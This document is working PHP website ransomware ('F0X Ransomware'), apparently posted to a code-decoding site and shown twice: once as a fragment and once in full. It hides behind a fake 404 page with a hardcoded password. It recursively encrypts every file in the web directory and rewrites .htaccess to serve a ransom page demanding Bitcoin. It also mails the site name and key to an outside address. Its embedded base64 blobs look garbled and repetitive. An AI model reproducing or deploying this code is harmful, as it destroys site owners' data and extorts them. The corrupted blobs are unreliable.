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"))) {
                echo '<i class="fa fa-smile-o" aria-hidden="true"></i>  decrypt.php (This is the Decryption Page)<br>';
            }
        }
    }
    public function shcpackUnstall() {
        if (file_exists(".fox")) {
            if (unlink(".htaccess") && unlink("fox.php") && unlink("decrypt.php")) {
                echo '<i class="fa fa-smile-o" aria-hidden="true"></i> <font color=#FFFF00> .htaccess (Ransomware .htaccess file)<br></font>';
                echo '<i class="fa fa-smile-o" aria-hidden="true"></i> <font color=#FFFF00> fox.php (This is the Deface Page)<br></font>';
                echo '<i class="fa fa-smile-o" aria-hidden="true"></i> <font color=#FFFF00> decrypt.php (This is the Decryption Page)<br></font>';
            }
            rename(".fox", ".htaccess");
        }
    }
    public function plus() {
        flush();
        ob_flush();
    }
    public function locate() {
        return getcwd();
    }
    public function shcdirs($dir, $method, $key) {
        switch ($method) {
            case '1':
                deRanSomeware::shcpackInstall();
            break;
            case '2':
                deRanSomeware::shcpackUnstall();
            break;
        }
        foreach (scandir($dir) as $d) {
            if ($d != '.' && $d != '..') {
                $locate = $dir . DIRECTORY_SEPARATOR . $d;
                if (!is_dir($locate)) {
                    if (deRanSomeware::kecuali($locate, "033.php") && deRanSomeware::kecuali($locate, ".png") && deRanSomeware::kecuali($locate, ".htaccess") && deRanSomeware::kecuali($locate, "fox.php") && deRanSomeware::kecuali($locate, "decrypt.php") && deRanSomeware::kecuali($locate, ".fox")) {
                        switch ($method) {
                            case '1':
                                deRanSomeware::shcEnCry($key, $locate);
                                deRanSomeware::shcEnDesDirS($locate, "1");
                            break;
                            case '2':
                                deRanSomeware::shcDeCry($key, $locate);
                                deRanSomeware::shcEnDesDirS($locate, "2");
                            break;
                        }
                    }
                } else {
                    deRanSomeware::shcdirs($locate, $method, $key);
                }
            }
            deRanSomeware::plus();
        }
        deRanSomeware::report($key);
    }
    public function report($key) {
        $message.= "=========     Details    =========
";
        $message.= "Website : " . $_SERVER['HTTP_HOST'];
        $message.= "Key     : " . $key;
        $message.= "Decryption Key Is
";
        $subject = "Ransomeware Decryption Key
";
        $ducker = "[email protected]";
        $headers = "From: Ransomware <[email protected]>
";
        mail($ducker, $subject, $message, $headers);
    }
    public function shcEnDesDirS($locate, $method) {
        switch ($method) {
            case '1':
                rename($locate, $locate . ".crypted");
            break;
            case '2':
                $locates = str_replace(".crypted", "", $locate);
                rename($locate, $locates);
            break;
        }
    }
    public function shcEnCry($key, $locate) {
        $data = file_get_contents($locate);
        $iv = mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC), MCRYPT_DEV_URANDOM);
        $encrypted = base64_encode( //encrption: change it
        $iv . mcrypt_encrypt(MCRYPT_RIJNDAEL_128, hash('sha256', $key, true), $data, MCRYPT_MODE_CBC, $iv));
        if (file_put_contents($locate, $encrypted)) {
            echo '<i class="fa fa-lock" aria-hidden="true"></i> <font color="#FF0000">Locked</font> (<font color="#40CE08">Success</font>) <font color="#00FFFF">--></font> <font color="#2196F3">' . $locate . '</font> <br>';
        } else {
            echo '<i class="fa fa-lock" aria-hidden="true"></i> <font color="#00BCD4">Locked</font> (<font color="red">Unsuccessful</font>) <font color="#00FFFF">--></font> ' . $locate . ' <br>';
        }
    }
    public function shcDeCry($key, $locate) {
        $data = base64_decode(file_get_contents($locate));
        $iv = substr($data, 0, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC));
        $decrypted = rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_128, hash('sha256', $key, true), substr($data, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC)), MCRYPT_MODE_CBC, $iv), "");
        if (file_put_contents($locate, $decrypted)) {
            echo '<i class="fa fa-unlock" aria-hidden="true"></i> <font color="#FFEB3B">Unlock</font> (<font color="#40CE08">Success</font>) <font color="#00FFFF">--></font> <font color="#2196F3">' . $locate . '</font> <br>';
        } else {
            echo '<i class="fa fa-unlock" aria-hidden="true"></i> <font color="#FFEB3B">Unlock</font> (<font color="red">Unsuccessful</font>) <font color="#00FFFF">--></font> <font color="#2196F3">' . $locate . '</font> <br>';
        }
    }
    public function kecuali($ext, $name) {
        $re = "/({$name})/";
        preg_match($re, $ext, $matches);
        if ($matches[1]) {
            return false;
        }
        return true;
    }
}
if ($_POST['submit']) {
    switch ($_POST['method']) {
        case '1':
            deRanSomeware::shcdirs(deRanSomeware::locate(), "1", $_POST['key']);
        break;
        case '2':
            deRanSomeware::shcdirs(deRanSomeware::locate(), "2", $_POST['key']);
        break;
    }
} else {
?>
<center>
<pre>
<center><h1>
<font color="#B4164D">                                                                      
 
     __________ _  __
   / ____/ __ \ |/ /
  / /_  / / / /   / 
 / __/ / /_/ /   |  
/_/    \____/_/|_|  

</font><br>
<h2><font color=yellow>Just Put Your Encryption/Decryption Key Here</h2> </font>
</pre>
<form action="" method="post" style=" text-align: center;">
<font color="#B4164D">
      <label>Key : </label>
      <input type="text" name="key" class="inpute" placeholder="KEY ENC/DEC">
      <select name="method" class="selecte">
         <option value="1">Infect</option>
         <option value="2">Disinfect</option>
      </select>
      <input type="submit" name="submit" class="submite" value="Submit" />
</form>
<?php
} ?>
</div>
</body>
</html>

Did this file decode correctly?

Original Code

<?php ?><?php
error_reporting(0);
@set_time_limit(0);
@session_start();
$xSoftware = trim(getenv("SERVER_SOFTWARE"));
$xServerName = $_SERVER["HTTP_HOST"];
$xPass = $_POST['pass'];
$xCheck_login = 1;
$xPassword = "TheF0X";
$xName = "fox";
if ($xPass == $xPassword) {
    $_SESSION['login'] = "$xPass";
}
if ($xCheck_login) {
    if (!isset($_SESSION['login']) or $_SESSION['login'] != $xPassword) {
        die("
<html>
<head>
<title>404 Not Found</title>
<style type=\"text/css\">
input{
margin:0;
background-color:#fff;
border:1px solid #fff;
}
</style>
</head>
 
<body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.<br><br>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle your fucking request.</p>
<hr>
<address>" . $xSoftware . " Server at " . $xServerName . " Port 80 </address>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<center>
<form method=\"post\">
<input type=\"password\" name=\"pass\">
</form>
</center>
</body>
</html>
");
    }
};
?>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<meta http-equiv="Content-Language" content="en-us">
<meta name="description" content="This Website Has been encrypted with F0X Ransomware, it is a PHP script made by TheF0X This Ransomware can encrypt any website file(s) very easily.">
<meta name="keywords" content="F0Xware,Ransomware,website locker,website ransomware, TheF0X">
<meta name="author" content="TheF0X">
<meta name="robots" content="index, all">
<link rel="icon" type="image/gif" href="https://s-media-cache-ak0.pinimg.com/236x/a7/76/ec/a776ec52e575d0473d33557aa610e47d--skull-fashion-flower-tattoos.jpg">
<head>
   <title>F0X RASOMWARE</title>
<style type="text/css">
body {
    background: #282727;
    color: #10edb6;
}
.inpute{
    border-style: groove;
    border-color: #379600;
    background-color: transparent;
    color: white;
    text-align: center;
}
.selecte{
    border-style: dashed;
    border-color: green;
    background-color: transparent;
    color: red;
}
.submite{
       border-style: groove;
    border-color: #4CAF50;
    background-color: transparent;
    color: yellow;
}
.result{
  text-align: left;
}
</style>
<link rel="stylesheet" type="text/css" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.6.3/css/font-awesome.min.css">
</head>
<body>
<div class="result">
<?php
error_reporting(0);
set_time_limit(0);
ini_set('memory_limit', '-1');
class deRanSomeware {
    public function shcpackInstall() {
        if (!file_exists(".fox")) {
            rename(".htaccess", ".fox");
            if (fwrite(fopen('.htaccess', 'w'), "#F0X
DirectoryIndex fox.php
ErrorDocument 404 /fox.php")) {
                echo '<i class="fa fa-smile-o" aria-hidden="true"></i> .htaccess (Ransomware .htaccess file)<br>';
            }
            if (file_put_contents("fox.php", base64_decode("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"))){
                      echo '<i class="fa fa-smile-o" aria-hidden="true"></i>  fox.php (This is the Deface Page)<br>';
            }
